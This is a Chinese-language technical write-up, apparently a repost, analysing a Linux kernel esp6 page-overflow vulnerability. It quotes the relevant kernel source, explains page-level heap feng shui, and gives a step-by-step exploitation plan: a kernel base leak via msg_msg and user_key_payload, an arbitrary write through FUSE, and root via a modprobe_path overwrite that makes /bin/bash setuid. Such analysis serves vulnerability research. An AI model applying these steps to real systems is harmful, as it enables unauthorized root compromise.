简介：漏洞来自 Linux esp6 crypto 模块，接收缓冲区是 8-page，但发送者可以发送大于 8-page 的数据，导致页溢出。

1-1 漏洞对象创建

漏洞对象创建：esp6_output_head() 负责创建 receive buffer，allocsize 变量不重要，因为 skb_page_frag_refill() 会默认分配 8-page 内存（order-3 pages）。

调用栈：sendmsg() -> __sys_sendmsg() -> ___sys_sendmsg() -> ____sys_sendmsg() -> sock_sendmsg() -> sock_sendmsg_nosec() -> rawv6_sendmsg() -> rawv6_push_pending_frames() -> ip6_push_pending_frames() -> ip6_send_skb() -> ip6_local_out() -> dst_output() -> xfrm6_output() -> NF_HOOK_COND() -> __xfrm6_output() -> [xfrm_output()]() -> xfrm_output2() -> xfrm_output_resume() -> dst_output() -> ip6_output() -> NF_HOOK_COND() -> ip6_finish_output -> __ip6_finish_output -> ip6_finish_output2() -> neigh_output() -> neigh_hh_output() -> dev_queue_xmit() -> __dev_queue_xmit() -> validate_xmit_skb() -> validate_xmit_xfrm() -> esp6_xmit() -> esp_output_head() 34层，太复杂了。。。

int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)
{
        ...
        struct page_frag *pfrag = &x->xfrag;          // x->xfrag->page = vul object
        int tailen = esp->tailen;
        allocsize = ALIGN(tailen, L1_CACHE_BYTES);
        spin_lock_bh(&x->lock);
        if (unlikely(!skb_page_frag_refill(allocsize, pfrag, GFP_ATOMIC))) {    // [1]
            spin_unlock_bh(&x->lock);
            goto cow;
        }
        ...
}
bool skb_page_frag_refill(unsigned int sz, struct page_frag *pfrag, gfp_t gfp)
{
        if (pfrag->offset + sz <= pfrag->size)
        return true;
    ...
    if (SKB_FRAG_PAGE_ORDER &&
        !static_branch_unlikely(&net_high_order_alloc_disable_key)) {
        pfrag->page = alloc_pages((gfp & ~__GFP_DIRECT_RECLAIM) |               // [2] 
                      __GFP_COMP | __GFP_NOWARN |
                      __GFP_NORETRY,
                      SKB_FRAG_PAGE_ORDER);
        ...
    }
    ...
    return false;
}

1-2 越界写

漏洞对象越界：null_skcipher_crypt() 函数中，内核拷贝了 N-page 数据，导致OOB。

static int null_skcipher_crypt(struct skcipher_request *req)
{
    struct skcipher_walk walk;
    int err;
    err = skcipher_walk_virt(&walk, req, false);
    while (walk.nbytes) {
        if (walk.src.virt.addr != walk.dst.virt.addr)
            // out-of-bounds write
            memcpy(walk.dst.virt.addr, walk.src.virt.addr,
                   walk.nbytes);
        err = skcipher_walk_done(&walk, 0);
    }
    return err;
}

调用栈：... -> esp6_xmit() -> esp6_output_tail() -> crypto_aead_encrypt() -> crypto_authenc_encrypt() -> crypto_authenc_copy_assoc() -> crypto_skcipher_encrypt() -> null_skcipher_crypt() 可以看到，esp6_xmit() 先调用 esp6_output_head() 分配漏洞对象的 8-page 内存（地址存放在x->xfrag->page），再调用 esp6_output_tail() 将该内存赋值给 req.dst 并最后触发OOB。

static int esp6_xmit(struct xfrm_state *x, struct sk_buff *skb,  netdev_features_t features)
{
    int err;
    int alen;
    struct esp_info esp;
    bool hw_offload = true;
    ... ...
    esp.tailen = esp.tfclen + esp.plen + alen;          // esp.tailen   ->   allocsize
    if (!hw_offload || !skb_is_gso(skb)) {
        esp.nfrags = esp6_output_head(x, skb, &esp);    // [1] alloc the vulnerable object, saved at x->xfrag->page
        if (esp.nfrags < 0)
            return esp.nfrags;
    }
    ... ...
    err = esp6_output_tail(x, skb, &esp);               // [2] trigger OOB
    ... ...
}
int esp6_output_tail(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)
{
    ... ... 
    if (!esp->inplace) {
        int allocsize;
        struct page_frag *pfrag = &x->xfrag;
        ... ...
        page = pfrag->page;
        get_page(page);
        /* replace page frags in skb with new page */
        __skb_fill_page_desc(skb, 0, page, pfrag->offset, skb->data_len);
        pfrag->offset = pfrag->offset + allocsize;
        spin_unlock_bh(&x->lock);
        sg_init_table(dsg, skb_shinfo(skb)->nr_frags + 1);
        err = skb_to_sgvec(skb, dsg,
                       (unsigned char *)esph - skb->data,
                       assoclen + ivlen + esp->clen + alen);
    ... ...
    aead_request_set_crypt(req, sg, dsg, ivlen + esp->clen, iv);       // [2-1]  dsg  =  x->xfrag->page
    aead_request_set_ad(req, assoclen);
    ... ...
    err = crypto_aead_encrypt(req);        // [2-2] req->dst = dsg
    ... ...
}
EXPORT_SYMBOL_GPL(esp6_output_tail);
static int null_skcipher_crypt(struct skcipher_request *req)
{
    struct skcipher_walk walk;
    int err;
    err = skcipher_walk_virt(&walk, req, false);            // [3] walk->dst = req.dst
    while (walk.nbytes) {
        if (walk.src.virt.addr != walk.dst.virt.addr)
            memcpy(walk.dst.virt.addr, walk.src.virt.addr,  // [4]  trigger OOB
                   walk.nbytes);
        err = skcipher_walk_done(&walk, 0);
    }
    return err;
}

漏洞缺陷：作者利用时，发送 16-page 数据，可以溢出 8-page，问题是 esp_output_fill_trailer() 会根据消息长度和所用协议类型，在末尾添加几个字节（对我们来说是垃圾数据）。

static inline void esp_output_fill_trailer(u8 *tail, int tfclen, int plen, __u8 proto)
{
    /* Fill padding... */
    if (tfclen) {
        memset(tail, 0, tfclen);
        tail += tfclen;
    }
    do {
        int i;
        for (i = 0; i < plen - 2; i++)
            tail[i] = i + 1;
    } while (0);
    tail[plen - 2] = plen - 2;
    tail[plen - 1] = proto;
}

2. Buddy system 知识

说明：分析伙伴系统的原理是研究 page-level heap fengshui 的前提。

2-1 page allocator

页分配器的知识可以参见 page_alloc.c 源码。

简介：Linux page allocator 管理内核底层的物理页，SLUB / SLAB / SLOB 内存分配器都在 Page allocator 之上。例如，当内核耗尽所有 kmalloc-4k slab之后，内存分配器会向 Page allocator 申请内存，由于 kmalloc-4k 位于 8-page slab （order 3），所以 Page allocator 会申请 8-page 内存给内存分配器。

存储结构：Page allocator 采用 free_area 结构（zone->free_area 数组，长度为 MAX_ORDER == 1，所以最大order为11）来保存空闲页，也就是个保存不同 order/size 页的数组，采用 order 来区分不同大小的页（例如，N-order 表示大小为 PAGE_SIZE<<3 的页；order-0 就表示大小为 PAGE_SIZE 的页）。free_area 中每个 order 都对应一个 free_list，从 free_list 分配或将页释放后放入 free_list。

struct free_area {
    struct list_head    free_list[MIGRATE_TYPES];
    unsigned long       nr_free;
};

cache 与页分配：不同的slab如果耗尽了会申请不同 order 的页，例如，kmalloc-256 会从 order-0 申请页，而 kmalloc-512 会从 order-1 申请页，kmalloc-4k 会从 order-3 申请页。

1-understand-free_area

split page：如果 free_list 中没有空闲页，则 lower-order free_area 从 higher-order free_area 取页，higher-order free_area 将页一分为二，然后 lower-order free_area 将页返回给申请者（例如 alloc_pages()）。例如，当 order-2（4-page）的 free_list 耗尽之后，就从 order-3 申请页，order-3 的页分成两个 4-page 页，位于低地址的 4-page 返回给申请者，高地址的 4-page 保存在 order-2 的free_list 中供下次申请。原理如下所示：

2-higher-order-split-to-lower-order

merge page：如果 free_list 中有很多空闲页，页分配器会整合两个相邻的、order相同的页，并放入 higher-order free_area 。还是以刚才的例子来看，假设 order-3 被分成两个 order-2 的页，其中一个存放在 order-2 的 free_list，只要被分配的页又被释放回 order-2 的 free_list，页分配器会检查新释放的页在同一 free_list 中是否存在相邻的页（这俩就被称为 buddy），存在的话就将这俩合并后放入 order-3。

3-lower-order-merge-to-higher-order

对应源码：以下代码展示了页分配器如何从 free_area 中选取页以及如何从 higher-order 中取页。

static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
                        int migratetype)
{
    unsigned int current_order;
    struct free_area *area;
    struct page *page;
    for (current_order = order; current_order < MAX_ORDER; ++current_order) {
        // Pick up the right order from free_area
        area = &(zone->free_area[current_order]);
        // Get the page from the free_list
        page = get_page_from_free_area(area, migratetype);
        // If no freed page in free_list, goes to high order to retrieve
        if (!page)
            continue;
        del_page_from_free_list(page, zone, current_order);
        expand(zone, page, order, current_order, migratetype);
        set_pcppage_migratetype(page, migratetype);
        return page;
    }
    return NULL;
}
static inline struct page *get_page_from_free_area(struct free_area *area,
                        int migratetype)
{
    return list_first_entry_or_null(&area->free_list[migratetype],
                    struct page, lru);
}

2-2 shaping heap

页风水目标：现在讨论下如何为 OOB write 布局堆结构。现在已知在页分配器中，每种 order 的页都保存在 free_area->free_list 中。由于不能保证在同一 free_list 中的两个页是连续的，所以即便连续申请2个同一order的页，这2个页可能相隔很远。为了更好的控制堆布局，我们需要确保 free_list 中所有的页是连续的。首先耗尽目标order的 free_list，迫使其向 higher-order 取页，这样取过来的页会被划分成两段连续的内存。

缓解噪声（保证连续）：有些内核进程也会分配和释放页，影响了堆布局。回到本漏洞中来，我们的目标是布局连续的 order-3 的页，但是可能会有 order-3 的页被划分到 order-2 或者有 order-2 的页被整合到 order-3。为了缓解噪声影响，可以采取以下步骤：

（1）耗尽 order 0, 1, 2 的 free_list；（采用socket中的 ring_buffer 来堆喷—页风水）

（2）分配大量的 order-2 对象（假定为N个），这样，order-2 会向 order-3 取页；（分10个进程，每个进程喷200个 4-page 大小的 ring_buffer）

（3）释放第2步中一半的对象，这样，有 N/2 个对象会存入 order-2 的 free_list；

（4）释放第1步所有的对象；

第3步中，释放一半的 order-2 就避免其发生整合而被存入 order-3，这样 order-2 的 free_list 中就有 N/2 个页可以使用了，之后就不会从 order-3 取页或者整合到 order-3 了。避免我们构造连续的 8-page 时受到影响。

4-mitigate_noise

3. 漏洞利用

3-1 泄露方法

思路一（失败）：利用 msg_msg，覆写 msg_msg->m_ts 构造越界读。但是测试时发现，漏洞的垃圾字节会覆写 msg_msg->next 指针（m_ts 和 next 相邻），导致越界读失败。

思路二：利用 user_key_payload 结构（从 ELOISE 论文中找到）。可以看到，这个结构的 datalen 长度和数据在一起，这样即便垃圾字节会填到末尾，也不会破坏到指针了。

struct user_key_payload {
    struct rcu_head rcu;        // rcu指针可以被设置为NULL
    unsigned short  datalen;    /* length of this data */
    char        data[] __aligned(__alignof__(u64)); /* actual data */
};

key长度限制：Ubuntu 上默认会限制key的数量和长度。问题是导致溢出的对象位于 8-page，我们在漏洞对象后面也要布置一个 8-page 对象（暂时称为 victim slab），而在Ubuntu上，只有 kmalloc-2k / kmalloc-4k / kmalloc-8k 会从 order-3 取页。所以至少要使key被分配在 kmalloc-2k 上，才能使key位于 8-page 的页中。

$ sudo cat /proc/sys/kernel/keys/maxbytes 
20000
$ sudo cat /proc/sys/kernel/keys/maxkeys 
200

victim个数限制：可以用8个 kmalloc-4k 对象来填充victim slab，采用长度为 2049 的 user_key_payload 即可。这样 user_key_payload 总长度为 2049*8=16392，由于限制最多 20000 字节的key，只剩下 1 个 user_key_payload 可用 — ((20000-16392)/2049 = 1)，所以最多可以布置2个 victim slab，条件非常严苛。

5-weak-page-fengshui

增大victim个数：可以每个 victim slab 放一个 user_key_payload 对象，剩下的空间填充其他对象，user_key_payload 可以在 victim slab 中任意位置，因为本漏洞可以溢出覆盖整个 victim slab。这样，我们就可以喷9个 victim slab 了，增大的泄露的成功几率。

6-strong-page-fengshui

3-2 泄露内核基址

方法：其实本可以直接在 victim slab 后面放一个包含内核指针的对象，但是作者很想尝试 post 中通过篡改 msg_msg->next 进行任意读写的技术。先通过 user_key_payload 越界读来泄露 msg_msg->next 指针，然后伪造 msg_msg->m_ts & msg_msg->next （msg_msg->security 在Ubuntu上没用，可覆盖为0）进行任意读。

泄露msg_msg->next：堆上布局3个相邻的对象—— vul object -> user_key_payload -> msg_msg，注意 msg_msg->next 指向 kmalloc-32，并堆喷大量的 struct seq_operations 对象。触发越界写来篡改 user_key_payload->datalen，通过 user_key_payload 越界读来泄露 msg_msg->next 指针。为了增大成功几率，可以创建9对这种布局（3个相邻对象的堆布局）。

泄露内核基址：堆上布局2个相邻的对象——vul object -> msg_msg，触发越界写来篡改 msg_msg->m_ts & msg_msg->next ，通过 msg_msg 越界读来泄露 struct seq_operations 对象上的函数指针（因为之前泄露的 msg_msg->next 指向 kmalloc-32，而kmalloc-32 上已经喷射了很多 struct seq_operations 对象）。

总体步骤：（1）~（8）泄露 msg_msg->next ，（9）~（12）泄露内核基址。

（1）分配大量8-page 页来耗尽 order-3 的 free_list，这样 order-3 就会从 order-4 取页，保证内存连续性；

（2）分配3个连续的 8-page dumy 对象（占位对象）；（占位对象采用 ring_buffer）

（3）释放第2个占位对象，分配1个8-page slab，其中包含1个 user_key_payload 对象和7个其他对象（这7个对象采用多个子线程调用setxattr()来堆喷）；

（4）释放第3个占位对象，分配1个8-page slab，填满大小在4056~4072之间的 msg_msg，使得 msg_msgseg 位于 kmalloc-32；

（5）喷射大量的 struct seq_operations，和第4步的 msg_msgseg 位于同一cache；

（6）释放第1个占位对象，分配漏洞对象，触发越界写来修改 user_key_payload->datalen；

（7）如果第（6）步成功，就能通过 user_key_payload 进行越界读；

（8）如果第（7）步成功，就能泄露出 msg_msg->next 指针；

（9）分配2个连续的 8-page dumy 对象（占位对象）；

（10）释放第2个占位对象，分配1个8-page slab，填满 msg_msg；

（11）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 msg_msg->m_ts & msg_msg->next ；

（12）如果第（11）步成功，就能越界读来泄露 struct seq_operations 对象上的函数指针。

3-3 提权

任意写：还是利用 msg_msg 来进行任意写。由于普通用户需要 specific capability 才能使用userfaultfd，可以采用 CVE-2022-0185 中的介绍的FUSE方法来进行任意写。通过FUSE可以实现用户空间文件系统，然后映射我们的内存地址，只要有读写访问到该地址就可以调用我们的页错误处理函数，这样可以控制当 msg_msg->next 被篡改之后，再允许 copy_from_user() 继续访问用户空间的数据。

7-arb_write

提权：利用任意写来篡改 modprbe_path 提权。后面方法和 CVE-2022-0185 一样。将 modprbe_path 改为 /tmp/get_rooot （运行chmod u+s /bin/bash），这样提权后只要运行 /bin/bash 即可提权。

（1）分配2个连续的 8-page dumy 对象（占位对象）；

（2）映射消息内容到FUSE，释放第2个占位对象，分配1个8-page slab，填满 msg_msg，线程会暂停在 copy_from_user()；

（3）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 msg_msg->next 为 modprobe_path 地址；

（4）执行一个错误格式的binary 触发 modprobe；

（5）打开 /bin/bash 即可提权。

8-succeed

exp说明：

原exp中前1271行是设置环境，不重要（作者说，环境设置部分的代码是syzkaller自动生成的，非常复杂；只有利用部分，也即 loop() 函数是作者写的，我们需要重点研究该函数），需要用到几个符号：single_start / single_next / single_stop / modprobe_path，在原exploit的111行修改即可。
exp中 main 函数设置完环境之后，调用 clone() 创建子进程执行 loop() 函数，loop() 函数实现主要利用过程。参见 clone()分析，不同于 fork() / vfork() ，clone() 克隆生成的子进程继续运行时不以调用处为起点，转而去调用以参数func所指定的函数；当函数func返回或者是调用 exit()（或者 _exit()）之后，克隆产生的子进程就会终止，父进程可以通过 wait() 一类函数来等待克隆子进程；调用者必须分配一块大小适中的内存空间供子进程的栈使用，同时将这块内存的指针置于参数 child_stack 中。
```
#define _GNU_SOURCE
#include 
int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....
           /*pid_t *ptid,struct user_desc *tls,pid_t *ctid*/);
                                     Return process ID of child on success,or -1 on error
```
页喷射对象：进行页风水和页占位的对象是ring_buffer，因为其size设置很灵活，适合页喷射。

参考

阅读原文

跳转微信打开